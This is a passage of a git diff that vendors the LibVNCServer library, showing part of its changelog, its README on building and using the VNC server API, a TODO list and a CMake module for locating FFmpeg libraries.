README, this brings a significant + speedup on 64-bit architectures. + + - LibVNCServer: + * Thread safety for ZRLE, Zlib, Tight, RRE, CoRRE and Ultra encodings. + This makes all VNC encodings safe to use with a multithreaded server. + * A DisplayFinishedHook for LibVNCServer. If set, this hook gets called + just before rfbSendFrameBufferUpdate() returns. + * Fix for tight security type for RFB 3.8 in TightVNC file transfer + (Debian Bug #517422). + + - LibVNCClient: + * Unix sockets support. + * Anonymous TLS security type support. + * VeNCrypt security type support. + * MSLogon security type support. + * ARD (Apple Remote Desktop) security type support. + * UltraVNC Repeater support. + * A new FinishedFrameBufferUpdate callback that is invoked after each + complete framebuffer update. + * A new non-forking listen (reverse VNC) function that works under + Windows. + * IPv6 support. LibVNCClient is now able to connect to IPv6 VNC servers. + * IP QoS support. This enables setting the DSCP/Traffic Class field of + IP/IPv6 packets sent by a client. For example starting a client with + -qosdscp 184 marks all outgoing traffic for expedited forwarding. + Implementation for Win32 is still a TODO, though. + * Fixed hostname resolution problems under Windows. + + - SDLvncviewer + * Is now resizable and can do key repeat, mouse wheel scrolling + and clipboard copy and paste. + + - LinuxVNC: + * Fix for no input possible because of ctrl key being stuck. + Issue was reported as Debian bug #555988. + + +0.9.7 + Mark sent me patches to no longer need C++ for ZRLE encoding! + added --disable-cxx Option for configure + x11vnc changes from Karl Runge: + - Changed all those whimpy printf(...)'s into manly fprintf(stdxxx,...)'s. + + - Added -q switch (quiet) to suppress printing all the debug-looking output. + + - Added -bg switch to fork into background after everything is set up. + (checks for LIBVNCSERVER_HAVE_FORK and LIBVNCSERVER_HAVE_SETSID) + + - Print this string out to stdout: 'PORT=XXXX' (usually XXXX = 5900). + Combining with -bg, easy to write a ssh/rsh wrapper with something like: + port=`ssh $host "x11vnc -bg .."` then run vncviewer based on $port output. + (tunneling the vnc traffic through ssh a bit more messy, but doable) + + - Quite a bit of code to be more careful when doing 8bpp indexed color, e.g. + not assuming NCOLORS is 256, handling 8bit TrueColor and Direct Color, etc + (I did all this probably in April, not quite clear in my mind now, but + I did test it out a fair amount on my old Sparcstation 20 wrt a user's + questions). + introduce rfbErr for Errors (Erik) + make rfbLog overridable (suggested by Erik) + don't reutrn on EINTR in WriteExact()/ReadExact() (suggested by Erik) + use AX_PREFIX_CONFIG_H to prefix constants in config.h to avoid + name clashes (also suggested by Erik) + transformed Bool, KeySym, Pixel to rfbBool, rfbKeySym, rfbPixel + (as suggested by Erik) + purged exit() calls (suggested by Erik) + fixed bug with maxRectsPerUpdate and Tight Encoding (these are incompatible) + checked sync with TightVNC 1.2.8: + viewonly/full passwords; if given a list, only the first is a full one + vncRandomBytes is a little more secure now + new weights for tight encoding + checked sync with RealVNC 3.3.7 + introduced maxRectsPerUpdate + added first alpha version of LibVNCClient + added simple and simple15 example (really simple examples) + finally got around to fix configure in CVS + long standing http bug (.jar was sent twice) fixed by a friend of Karl named Mike + http options in cargs + when closing a client and no longer listening for new ones, don't crash + fixed a bug with ClientConnectionGone + endianness is checked at configure time + fixed a bug that prevented the first client from being closed + fixed that annoying "libvncserver-config --link" bug + make rfbReverseByte public (for rdp2vnc) + fixed compilation on OS X, IRIX, Solaris + install target for headers is now ${prefix}/include/rfb ("#include ") + renamed "sraRegion.h" to "rfbregion.h" + CARD{8,16,32} are more standard uint{8,16,32}_t now + fixed LinuxVNC colour handling + fixed a bug with pthreads where the connection was not closed + moved vncterm to main package (LinuxVNC included) + portability fixes (IRIX, OSX, Solaris) + more portable way to determine endianness and types of a given size + through autoconf based methods +0.5 + rpm packaging through autoconf + autoconf'ed the whole package (including optional support for zlib, + pthreads and libjpeg as well as zrle/c++) + moved appropriate files to contrib/ and examples/ respectively + fixed long standing cargs bug (Justin "Zippy" Dearing) + Even better x11vnc from Karl J. Runge! (supports different kbd layouts of + client/server) + Better x11vnc from Karl J. Runge! + fixed severe bug (Const Kaplinsky) + got patch from Const Kaplisnky with CursorPosUpdate encoding and some Docs + sync'ed with newest RealVNC (ZRLE encoding) + a HTTP request for tunnelling was added (to fool strict web proxies) + sync'ed with TightVNC 1.2.5 +0.4 + support for NewFB from Const Kaplinsky + memory leaks squashed (localtime pseudo leak is still there :-) + small improvements for OSXvnc (still not working correctly) + synced with TightVNC 1.2.3 + solaris compile cleanups + many x11vnc improvements + added backchannel, an encoding which needs special clients to pass + arbitrary data to the client + changes from Tim Jansen regarding multi threading and client blocking + as well as C++ compliancy + x11vnc can be controlled by starting again with special options if compiling + with LOCAL_CONTROL defined +0.3 + added x11vnc, a x0rfbserver clone + regard deferUpdateTime in processEvents, if usec<0 + initialize deferUpdateTime (memory "leak"!) + changed command line handling (arguments are parsed and then removed) + added very simple example: zippy + added rfbDrawLine, rfbDrawPixel +0.2 + inserted a deferUpdate mechanism (X11 independent). + removed deletion of requestedRegion + added rfbLoadConsoleFont + fixed font colour handling. + added rfbSelectBox + added rfbDrawCharWithClip to allow for clipping and a background colour. + fixed font colours + added rfbFillRect + added IO function to check password. + rfbNewClient now sets the socket in the fd_set (for the select() call) + when compiling the library with HAVE_PTHREADS and an application + which includes "rfb.h" without, the structures got mixed up. + So, the pthreads section is now always at the end, and also + you get a linker error for rfbInitServer when using two different + pthread setups. + fixed two deadlocks: when setting a cursor and when using CopyRect + fixed CopyRect when copying modified regions (they lost the modified + property) + WIN32 target compiles and works for example :-) + fixed CopyRect (was using the wrong order of rectangles...) + should also work with pthreads, because copyrects are + always sent immediately (so that two consecutive copy rects + cannot conflict). + changed rfbUndrawCursor(rfbClientPtr) to (rfbScreenInfoPtr), because + this makes more sense! + flag backgroundLoop in rfbScreenInfo (if having pthreads) + CopyRect & CopyRegion were implemented. + if you use a rfbDoCopyR* function, it copies the data in the + framebuffer. If you prefer to do that yourself, use rfbScheduleCopyR* + instead; this doesn't modify the frameBuffer. + added flag to optionally not send XCursor updates, but only RichCursor, + or if that is not possible, fall back to server side cursor. + This is useful if your cursor has many nice colours. + fixed java viewer on server side: + SendCursorUpdate would send data even before the client pixel format + was set, but the java applet doesn't like the server's format. + fixed two pthread issues: + rfbSendFramebuffer was sent by a ProcessClientMessage function + (unprotected by updateMutex). + cursor coordinates were set without protection by cursorMutex + source is now equivalent to TridiaVNC 1.2.1 + pthreads now work (use iterators!) + cursors are supported (rfbSetCursor automatically undraws cursor) + support for 3 bytes/pixel (slow!) + server side colourmap support + fixed rfbCloseClient not to close the connection (pthreads!) + this is done lazily (and with proper signalling). + cleaned up mac.c (from original OSXvnc); now compiles (untested!) + compiles cleanly on Linux, IRIX, BSD, Apple (Darwin) + fixed prototypes +0.1 + rewrote API to use pseudo-methods instead of required functions. + lots of clean up. + Example can show symbols now. + All encodings + HTTP diff --git a/3rdparty/libvncserver/README.md b/3rdparty/libvncserver/README.md new file mode 100644 index 0000000..a29c550 --- /dev/null +++ b/3rdparty/libvncserver/README.md @@ -0,0 +1,478 @@ +[![Build Status](https://travis-ci.org/LibVNC/libvncserver.svg?branch=master)](https://travis-ci.org/LibVNC/libvncserver) +[![Build status](https://ci.appveyor.com/api/projects/status/fao6m1md3q4g2bwn/branch/master?svg=true)](https://ci.appveyor.com/project/bk138/libvncserver/branch/master) +[![Help making this possible](https://liberapay.com/assets/widgets/donate.svg)](https://liberapay.com/LibVNC/donate) + +LibVNCServer: A library for easy implementation of a VNC server. +Copyright (C) 2001-2003 Johannes E. Schindelin + +If you already used LibVNCServer, you probably want to read NEWS. + +What is it? +=========== + +VNC is a set of programs using the RFB (Remote Frame Buffer) protocol. They +are designed to "export" a frame buffer via net (if you don't know VNC, I +suggest you read "Basics" below). It is already in wide use for +administration, but it is not that easy to program a server yourself. + +This has been changed by LibVNCServer. + +There are two examples included: + - example, a shared scribble sheet + - pnmshow, a program to show PNMs (pictures) over the net. + +The examples are not too well documented, but easy straight forward and a +good starting point. + +Try example: it outputs on which port it listens (default: 5900), so it is +display 0. To view, call + `vncviewer :0` +You should see a sheet with a gradient and "Hello World!" written on it. Try +to paint something. Note that every time you click, there is some bigger blot, +whereas when you drag the mouse while clicked you draw a line. The size of the +blot depends on the mouse button you click. Open a second vncviewer with +the same parameters and watch it as you paint in the other window. This also +works over internet. You just have to know either the name or the IP of your +machine. Then it is + `vncviewer machine.where.example.runs.com:0` +or similar for the remote client. Now you are ready to type something. Be sure +that your mouse sits still, because every time the mouse moves, the cursor is +reset to the position of the pointer! If you are done with that demo, press +the down or up arrows. If your viewer supports it, then the dimensions of the +sheet change. Just press Escape in the viewer. Note that the server still +runs, even if you closed both windows. When you reconnect now, everything you +painted and wrote is still there. You can press "Page Up" for a blank page. + +The demo pnmshow is much simpler: you either provide a filename as argument +or pipe a file through stdin. Note that the file has to be a raw pnm/ppm file, +i.e. a truecolour graphics. Only the Escape key is implemented. This may be +the best starting point if you want to learn how to use LibVNCServer. You +are confronted with the fact that the bytes per pixel can only be 8, 16 or 32. + +If you want to build a VNC client instead, please have a look at the [various +client examples](./client_examples). + +Projects using it +================= + +VNC for KDE +http://www.tjansen.de/krfb + +GemsVNC +http://www.elilabs.com/~rj/gemsvnc/ + +VNC for Netware +http://forge.novell.com/modules/xfmod/project/?vncnw + +RDesktop +http://rdesktop.sourceforge.net + +VNCpp +https://github.com/ocrespo/VNCpp + +VirtualBox +https://www.virtualbox.org/ + +Veyon +https://veyon.io + +Mail me, if your application is missing! + +How to build +============ + +LibVNCServer uses CMake, so you can build via: + + mkdir build + cd build + cmake .. + cmake --build . + +For some more comprehensive examples that include installation of dependencies, see +the [Unix CI](.travis.yml) and [Windows CI](.appveyor.yml) build setups. + +Crosscompiling involves some more advanced command line switches but is easily possible +as well. + +For instance, building for Android (see https://developer.android.com/ndk/guides/cmake.html as a reference): + + mkdir build + cd build + cmake .. -DANDROID_NDK= -DCMAKE_TOOLCHAIN_FILE= -DANDROID_NATIVE_API_LEVEL= -DWITH_PNG=OFF # NDK not shipping png per default + cmake --build . + + +How to use +========== + +To make a server, you just have to initialise a server structure using the +function rfbDefaultScreenInit, like + rfbScreenInfoPtr rfbScreen = + rfbGetScreen(argc,argv,width,height,8,3,bpp); +where byte per pixel should be 1, 2 or 4. If performance doesn't matter, +you may try bpp=3 (internally one cannot use native data types in this +case; if you want to use this, look at pnmshow24). + + +You then can set hooks and io functions (see below) or other +options (see below). + +And you allocate the frame buffer like this: + rfbScreen->frameBuffer = (char*)malloc(width*height*bpp); + +After that, you initialize the server, like + rfbInitServer(rfbScreen); + +You can use a blocking event loop, a background (pthread based) event loop, +or implement your own using the rfbProcessEvents function. + +Making it interactive +--------------------- + +Input is handled by IO functions (see below). + +Whenever you change something in the frame buffer, call rfbMarkRectAsModified. + +Utility functions +----------------- + +Whenever you draw something, you have to call + rfbMarkRectAsModified(screen,x1,y1,x2,y2). +This tells LibVNCServer to send updates to all connected clients. + +Before you draw something, be sure to call + rfbUndrawCursor(screen). +This tells LibVNCServer to hide the cursor. +Remark: There are vncviewers out there, which know a cursor encoding, so +that network traffic is low, and also the cursor doesn't need to be +drawn the cursor every time an update is sent. LibVNCServer handles +all the details. Just set the cursor and don't bother any more. + +To set the mouse coordinates (or emulate mouse clicks), call + rfbDefaultPtrAddEvent(buttonMask,x,y,cl); +IMPORTANT: do this at the end of your function, because this actually draws +the cursor if no cursor encoding is active. + +What is the difference between rfbScreenInfoPtr and rfbClientPtr? +----------------------------------------------------------------- + +The rfbScreenInfoPtr is a pointer to a rfbScreenInfo structure, which +holds information about the server, like pixel format, io functions, +frame buffer etc. + +The rfbClientPtr is a pointer to an rfbClientRec structure, which holds +information about a client, like pixel format, socket of the +connection, etc. + +A server can have several clients, but needn't have any. So, if you +have a server and three clients are connected, you have one instance +of a rfbScreenInfo and three instances of rfbClientRec's. + +The rfbClientRec structure holds a member + rfbScreenInfoPtr screen +which points to the server and a member + rfbClientPtr next +to the next client. + +The rfbScreenInfo structure holds a member + rfbClientPtr rfbClientHead +which points to the first client. + +So, to access the server from the client structure, you use client->screen. +To access all clients from a server, get screen->rfbClientHead and +iterate using client->next. + +If you change client settings, be sure to use the provided iterator + rfbGetClientIterator(rfbScreen) +with + rfbClientIteratorNext(iterator) +and + rfbReleaseClientIterator +to prevent thread clashes. + +Other options +------------- + +These options have to be set between rfbGetScreen and rfbInitServer. + +If you already have a socket to talk to, just set rfbScreen->inetdSock +(originally this is for inetd handling, but why not use it for your purpose?). + +To also start an HTTP server (running on port 5800+display_number), you have +to set rfbScreen->httpdDir to a directory containing vncviewer.jar and +index.vnc (like the included "webclients" directory). + +Hooks and IO functions +---------------------- + +There exist the following IO functions as members of rfbScreen: +kbdAddEvent, kbdReleaseAllKeys, ptrAddEvent and setXCutText + +kbdAddEvent(rfbBool down,rfbKeySym key,rfbClientPtr cl) + is called when a key is pressed. +kbdReleaseAllKeys(rfbClientPtr cl) + is not called at all (maybe in the future). +ptrAddEvent(int buttonMask,int x,int y,rfbClientPtr cl) + is called when the mouse moves or a button is pressed. + WARNING: if you want to have proper cursor handling, call + rfbDefaultPtrAddEvent(buttonMask,x,y,cl) + in your own function. This sets the coordinates of the cursor. +setXCutText(char* str,int len,rfbClientPtr cl) + is called when the selection changes. + +There are only two hooks: +newClientHook(rfbClientPtr cl) + is called when a new client has connected. +displayHook + is called just before a frame buffer update is sent. + +You can also override the following methods: +getCursorPtr(rfbClientPtr cl) + This could be used to make an animated cursor (if you really want ...) +setTranslateFunction(rfbClientPtr cl) + If you insist on colour maps or something more obscure, you have to + implement this. Default is a trueColour mapping. + +Cursor handling +--------------- + +The screen holds a pointer + rfbCursorPtr cursor +to the current cursor. Whenever you set it, remember that any dynamically +created cursor (like return value from rfbMakeXCursor) is not free'd! + +The rfbCursor structure consists mainly of a mask and a source. The mask +describes, which pixels are drawn for the cursor (a cursor needn't be +rectangular). The source describes, which colour those pixels should have. + +The standard is an XCursor: a cursor with a foreground and a background +colour (stored in backRed,backGreen,backBlue and the same for foreground +in a range from 0-0xffff). Therefore, the arrays "mask" and "source" +contain pixels as single bits stored in bytes in MSB order. The rows are +padded, such that each row begins with a new byte (i.e. a 10x4 +cursor's mask has 2x4 bytes, because 2 bytes are needed to hold 10 bits). + +It is however very easy to make a cursor like this: + +char* cur=" " + " xx " + " x " + " "; +char* mask="xxxx" + "xxxx" + "xxxx" + "xxx "; +rfbCursorPtr c=rfbMakeXCursor(4,4,cur,mask); + +You can even set "mask" to NULL in this call and LibVNCServer will calculate +a mask for you (dynamically, so you have to free it yourself). + +There is also an array named "richSource" for colourful cursors. They have +the same format as the frameBuffer (i.e. if the server is 32 bit, +a 10x4 cursor has 4x10x4 bytes). + +History +======= + +LibVNCServer is based on Tridia VNC and OSXvnc, which in turn are based on +the original code from ORL/AT&T. + +When I began hacking with computers, my first interest was speed. So, when I +got around assembler, I programmed the floppy to do much of the work, because +its clock rate was higher than that of my C64. This was my first experience +with client/server techniques. + +When I came around Xwindows (much later), I was at once intrigued by the +elegance of such connectedness between the different computers. I used it +a lot - not the least priority lay on games. However, when I tried it over +modem from home, it was no longer that much fun. + +When I started working with ASP (Application Service Provider) programs, I +tumbled across Tarantella and Citrix. Being a security fanatic, the idea of +running a server on windows didn't appeal to me, so Citrix went down the +basket. However, Tarantella has its own problems (security as well as the +high price). But at the same time somebody told me about this "great little +administrator's tool" named VNC. Being used to windows programs' sizes, the +surprise was reciprocal inverse to the size of VNC! + +At the same time, the program "rdesktop" (a native Linux client for the +Terminal Services of Windows servers) came to my attention. There where even +works under way to make a protocol converter "rdp2vnc" out of this. However, +my primary goal was a slow connection and rdp2vnc could only speak RRE +encoding, which is not that funny with just 5kB/s. Tim Edmonds, the original +author of rdp2vnc, suggested that I adapt it to Hextile Encoding, which is +better. I first tried that, but had no success at all (crunchy pictures). + +Also, I liked the idea of an HTTP server included and possibly other +encodings like the Tight Encodings from Const Kaplinsky. So I started looking +for libraries implementing a VNC server where I could steal what I can't make. +I found some programs based on the demo server from AT&T, which was also the +basis for rdp2vnc (can only speak Raw and RRE encoding). There were some +rumors that GGI has a VNC backend, but I didn't find any code, so probably +there wasn't a working version anyway. + +All of a sudden, everything changed: I read on freshmeat that "OSXvnc" was +released. I looked at the code and it was not much of a problem to work out +a simple server - using every functionality there is in Xvnc. It became clear +to me that I *had* to build a library out of it, so everybody can use it. +Every change, every new feature can propagate to every user of it. + +It also makes everything easier: + You don't care about the cursor, once set (or use the standard cursor). +You don't care about those sockets. You don't care about encodings. +You just change your frame buffer and inform the library about it. Every once +in a while you call rfbProcessEvents and that's it. + +Basics +====== + +VNC (Virtual network computing) works like this: You set up a server and can +connect to it via vncviewers. The communication uses a protocol named RFB +(Remote Frame Buffer). If the server supports HTTP, you can also connect +using a java enabled browser. In this case, the server sends back a +vncviewer applet with the correct settings. + +There exist several encodings for VNC, which are used to compress the regions +which have changed before they are sent to the client. A client need not be +able to understand every encoding, but at least Raw encoding. Which encoding +it understands is negotiated by the RFB protocol. + +The following encodings are known to me: +Raw, RRE, CoRRE, Hextile, CopyRect from the original AT&T code and +Tight, ZLib, LastRect, XCursor, RichCursor from Const Kaplinsky et al. + +If you are using a modem, you want to try the "new" encodings. Especially +with my 56k modem I like ZLib or Tight with Quality 0. In my tests, it even +beats Tarantella. + +There is the possibility to set a password, which is also negotiated by the +RFB protocol, but IT IS NOT SECURE. Anybody sniffing your net can get the +password. You really should tunnel through SSH. + +Windows or: why do you do that to me? +===================================== + +If you love products from Redmod, you better skip this paragraph. +I am always amazed how people react whenever Microsoft(tm) puts in some +features into their products which were around for a long time. Especially +reporters seem to not know dick about what they are reporting about! But +what is every time annoying again, is that they don't do it right. Every +concept has its new name (remember what enumerators used to be until +Mickeysoft(tm) claimed that enumerators are what we thought were iterators. +Yeah right, enumerators are also containers. They are not separated. Muddy.) + +There are three packages you want to get hold of: zlib, jpeg and pthreads. +The latter is not strictly necessary, but when you put something like this +into your source: + +``` +#define MUTEX(s) + struct { + int something; + MUTEX(latex); + } +``` + +Microsoft's C++ compiler doesn't do it. It complains that this is an error. +This, however, is how I implemented mutexes in case you don't need pthreads, +and so don't need the mutex. + +You can find the packages at +http://www.gimp.org/win32/extralibs-dev-20001007.zip + +Thanks go to all the GIMP team! + +What are those other targets in the Makefile? +============================================= + +OSXvnc-server is the original OSXvnc adapted to use the library, which was in +turn adapted from OSXvnc. As you easily can see, the OSX dependend part is +minimal. + +storepasswd is the original program to save a vnc style password in a file. +Unfortunately, authentication as every vncviewer speaks it means the server +has to know the plain password. You really should tunnel via ssh or use +your own PasswordCheck to build a PIN/TAN system. + +sratest is a test unit. Run it to assert correct behaviour of sraRegion. I +wrote this to test my iterator implementation. + +blooptest is a test of pthreads. It is just the example, but with a background +loop to hunt down thread lockups. + +pnmshow24 is like pnmshow, but it uses 3 bytes/pixel internally, which is not +as efficient as 4 bytes/pixel for translation, because there is no native data +type of that size, so you have to memcpy pixels and be real cautious with +endianness. Anyway, it works. + +fontsel is a test for rfbSelectBox and rfbLoadConsoleFont. If you have Linux +console fonts, you can browse them via VNC. Directory browsing not implemented +yet :-( + +Why I don't feel bad about GPL +============================== + +At the beginning of this projects I would have liked to make it a BSD +license. However, it is based on plenty of GPL'ed code, so it has to be +a GPL. I hear BeeGee complaining: "but that's invasive, every derivative +work, even just linking, makes my software GPL!" + +Yeah. That's right. It is because there are nasty jarheads out there who +would take anybody's work and claim it their own, selling it for much too +much money, stealing freedom and innovation from others, saying they were +the maintainers of innovation, lying, making money with that. + +The people at AT&T worked really well to produce something as clean and lean +as VNC. The managers decided that for their fame, they would release the +program for free. But not only that! They realized that by releasing also +the code for free, VNC would become an evolving little child, conquering +new worlds, making its parents very proud. As well they can be! To protect +this innovation, they decided to make it GPL, not BSD. The principal +difference is: You can make closed source programs deriving from BSD, not +from GPL. You have to give proper credit with both. + +Now, why not BSD? Well, imagine your child being some famous actor. Along +comes a manager who exploits your child exclusively, that is: nobody else +can profit from the child, it itself included. Got it? + +What reason do you have now to use this library commercially? + +Several: You don't have to give away your product. Then you have effectively +circumvented the GPL, because you have the benefits of other's work and you +don't give back anything and you will be in hell for that. In fact, this +library, as my other projects, is a payback for all the free software I can +use (and sometimes, make better). For example, just now, I am using XEmacs +on top of XFree86, all running under Linux. + +Better: Use a concept like MySQL. This is free software, however, they make +money with it. If you want something implemented, you have the choice: +Ask them to do it (and pay a fair price), or do it yourself, normally giving +back your enhancements to the free world of computing. + +Learn from it: If you like the style this is written, learn how to imitate +it. If you don't like the style, learn how to avoid those things you don't +like. I learnt so much, just from looking at code like Linux, XEmacs, +LilyPond, STL, etc. + +License +------- + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.dfdf + +Contact +======= + +To contact me, mail me: Johannes dot Schindelin at gmx dot de + diff --git a/3rdparty/libvncserver/TODO b/3rdparty/libvncserver/TODO new file mode 100644 index 0000000..285d9ce --- /dev/null +++ b/3rdparty/libvncserver/TODO @@ -0,0 +1,30 @@ +high-prio: +---------- +- Add sources for the java stuff. +- Implement encryption in libvncserver. +- Get rid of compat dir +- Fix encodingstest + + +maybe-later: +------------ + +selectbox: scroll bars +authentification schemes (secure vnc) + IO function ptr exists; now explain how to tunnel and implement a + client address restriction scheme. + +make SDLvncviewer more versatile + - test for missing keys (especially "[]{}" with ./examples/mac), + - map Apple/Linux/Windows keys onto each other, + - handle selection + - handle scroll wheel +style fixes: use Linux' coding guidelines & ANSIfy tightvnc-filetransfer: + discuss on list +LibVNCClient cleanup: prefix with "rfbClient", and make sure it does + not deliberately die() or exit() anywhere! +java vncviewer doesn't do colour cursors? +make corre work again (libvncclient or libvncserver?) +teach SDLvncviewer about CopyRect... +implement "-record" in libvncclient +implement QoS for Windows in libvncclient diff --git a/3rdparty/libvncserver/cmake/Modules/FindFFMPEG.cmake b/3rdparty/libvncserver/cmake/Modules/FindFFMPEG.cmake new file mode 100644 index 0000000..6e61e3d --- /dev/null +++ b/3rdparty/libvncserver/cmake/Modules/FindFFMPEG.cmake @@ -0,0 +1,227 @@ +#.rst: +# FindFFMPEG +# ---------- +# +# Find the native FFMPEG includes and library +# +# This module defines:: +# +# FFMPEG_INCLUDE_DIR, where to find avcodec.h, avformat.h ... +# FFMPEG_LIBRARIES, the libraries to link against to use FFMPEG. +# FFMPEG_FOUND, If false, do not try to use FFMPEG. +# +# also defined, but not for general use are:: +# +# FFMPEG_avformat_LIBRARY, where to find the FFMPEG avformat library. +# FFMPEG_avcodec_LIBRARY, where to find the FFMPEG avcodec library. +# +# This is useful to do it this way so that we can always add more libraries +# if needed to ``FFMPEG_LIBRARIES`` if ffmpeg ever changes... + +#============================================================================= +# Copyright: 1993-2008 Ken Martin, Will Schroeder, Bill Lorensen +# +# Distributed under the OSI-approved BSD License (the "License"); +# see accompanying file Copyright.txt for details. +# +# This software is distributed WITHOUT ANY WARRANTY; without even the +# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the License for more information. +#============================================================================= +# (To distribute this file outside of YCM, substitute the full +# License text for the above reference.) + +# Originally from VTK project + + +find_path(FFMPEG_INCLUDE_DIR1 avformat.h + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/ffmpeg + $ENV{FFMPEG_DIR}/libavformat + $ENV{FFMPEG_DIR}/include/libavformat + $ENV{FFMPEG_DIR}/include/ffmpeg + /usr/local/include/ffmpeg + /usr/include/ffmpeg + /usr/include/libavformat + /usr/include/ffmpeg/libavformat + /usr/include/${CMAKE_LIBRARY_ARCHITECTURE}/libavformat + /usr/local/include/libavformat +) + +find_path(FFMPEG_INCLUDE_DIR2 avutil.h + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/ffmpeg + $ENV{FFMPEG_DIR}/libavutil + $ENV{FFMPEG_DIR}/include/libavutil + $ENV{FFMPEG_DIR}/include/ffmpeg + /usr/local/include/ffmpeg + /usr/include/ffmpeg + /usr/include/libavutil + /usr/include/ffmpeg/libavutil + /usr/include/${CMAKE_LIBRARY_ARCHITECTURE}/libavutil + /usr/local/include/libavutil +) + +find_path(FFMPEG_INCLUDE_DIR3 avcodec.h + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/ffmpeg + $ENV{FFMPEG_DIR}/libavcodec + $ENV{FFMPEG_DIR}/include/libavcodec + $ENV{FFMPEG_DIR}/include/ffmpeg + /usr/local/include/ffmpeg + /usr/include/ffmpeg + /usr/include/libavcodec + /usr/include/ffmpeg/libavcodec + /usr/include/${CMAKE_LIBRARY_ARCHITECTURE}/libavcodec + /usr/local/include/libavcodec +) + +find_path(FFMPEG_INCLUDE_DIR4 swscale.h + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/ffmpeg + $ENV{FFMPEG_DIR}/libswscale + $ENV{FFMPEG_DIR}/include/libswscale + $ENV{FFMPEG_DIR}/include/ffmpeg + /usr/local/include/ffmpeg + /usr/include/ffmpeg + /usr/include/libswscale + /usr/include/ffmpeg/libswscale + /usr/include/${CMAKE_LIBRARY_ARCHITECTURE}/libswscale + /usr/local/include/libswscale +) + +find_path(FFMPEG_INCLUDE_DIR5 avdevice.h + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/ffmpeg + $ENV{FFMPEG_DIR}/libavdevice + $ENV{FFMPEG_DIR}/include/libavdevice + $ENV{FFMPEG_DIR}/include/ffmpeg + /usr/local/include/ffmpeg + /usr/include/ffmpeg + /usr/include/libavdevice + /usr/include/ffmpeg/libavdevice + /usr/include/${CMAKE_LIBRARY_ARCHITECTURE}/libavdevice + /usr/local/include/libavdevice +) + +if(FFMPEG_INCLUDE_DIR1) + if(FFMPEG_INCLUDE_DIR2) + if(FFMPEG_INCLUDE_DIR3) + set(FFMPEG_INCLUDE_DIR ${FFMPEG_INCLUDE_DIR1} + ${FFMPEG_INCLUDE_DIR2} + ${FFMPEG_INCLUDE_DIR3}) + endif() + endif() +endif() + +if(FFMPEG_INCLUDE_DIR4) + set(FFMPEG_INCLUDE_DIR ${FFMPEG_INCLUDE_DIR} + ${FFMPEG_INCLUDE_DIR4}) +endif() + +if(FFMPEG_INCLUDE_DIR5) + set(FFMPEG_INCLUDE_DIR ${FFMPEG_INCLUDE_DIR} + ${FFMPEG_INCLUDE_DIR5} + ${FFMPEG_INCLUDE_DIR5}/..) +endif() + +find_library(FFMPEG_avformat_LIBRARY avformat + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/lib + $ENV{FFMPEG_DIR}/libavformat + /usr/local/lib + /usr/lib +) + +find_library(FFMPEG_avcodec_LIBRARY avcodec + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/lib + $ENV{FFMPEG_DIR}/libavcodec + /usr/local/lib + /usr/lib +) + +find_library(FFMPEG_avutil_LIBRARY avutil + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/lib + $ENV{FFMPEG_DIR}/libavutil + /usr/local/lib + /usr/lib +) + +if(NOT DISABLE_SWSCALE) + find_library(FFMPEG_swscale_LIBRARY swscale + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/lib + $ENV{FFMPEG_DIR}/libswscale + /usr/local/lib + /usr/lib + ) +endif(NOT DISABLE_SWSCALE) + +find_library(FFMPEG_avdevice_LIBRARY avdevice + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/lib + $ENV{FFMPEG_DIR}/libavdevice + /usr/local/lib + /usr/lib +) + +find_library(_FFMPEG_z_LIBRARY_ z + $ENV{FFMPEG_DIR} + $ENV{FFMPEG_DIR}/lib + /usr/local/lib + /usr/lib +) + + + +if(FFMPEG_INCLUDE_DIR) + if(FFMPEG_avformat_LIBRARY) + if(FFMPEG_avcodec_LIBRARY) + if(FFMPEG_avutil_LIBRARY) + set(FFMPEG_FOUND "YES") + set(FFMPEG_LIBRARIES ${FFMPEG_avformat_LIBRARY} + ${FFMPEG_avcodec_LIBRARY} + ${FFMPEG_avutil_LIBRARY} + ) + if(FFMPEG_swscale_LIBRARY) + set(FFMPEG_LIBRARIES ${FFMPEG_LIBRARIES} + ${FFMPEG_swscale_LIBRARY} + ) + endif() + if(FFMPEG_avdevice_LIBRARY) + set(FFMPEG_LIBRARIES ${FFMPEG_LIBRARIES} + ${FFMPEG_avdevice_LIBRARY} + ) + endif() + if(_FFMPEG_z_LIBRARY_) + set( FFMPEG_LIBRARIES ${FFMPEG_LIBRARIES} + ${_FFMPEG_z_LIBRARY_} + ) + endif() + endif() + endif() + endif() +endif() + +mark_as_advanced( + FFMPEG_INCLUDE_DIR + FFMPEG_INCLUDE_DIR1 + FFMPEG_INCLUDE_DIR2 + FFMPEG_INCLUDE_DIR3 + FFMPEG_INCLUDE_DIR4 + FFMPEG_INCLUDE_DIR5 + FFMPEG_avformat_LIBRARY + FFMPEG_avcodec_LIBRARY + FFMPEG_avutil_LIBRARY + FFMPEG_swscale_LIBRARY + FFMPEG_avdevice_LIBRARY + _FFMPEG_z_LIBRARY_ + ) + +# Set package properties if FeatureSummary was included +if(COMMAND set_package_properties) + set_package_properties(FFMPEG PROPERTIES DESCRIPTION "A complete, cross-platform solution to record, convert and stream audio and video") + set_package_properties(FFMPEG PROPERTIES URL "http://ffmpeg.org/") +endif() diff --git a/3rdparty/libvncserver/cmake/Modules/FindLZO.cmake b/3rdparty/libvncserver/cmake/Modules/FindLZO.cmake new file mode 100644 index 0000000..d313fae --- /dev/null +++ b/3rdparty/libvncserver/cmake/Modules/FindLZO.cmake @@ -0,0 +1,31 @@ +# Find 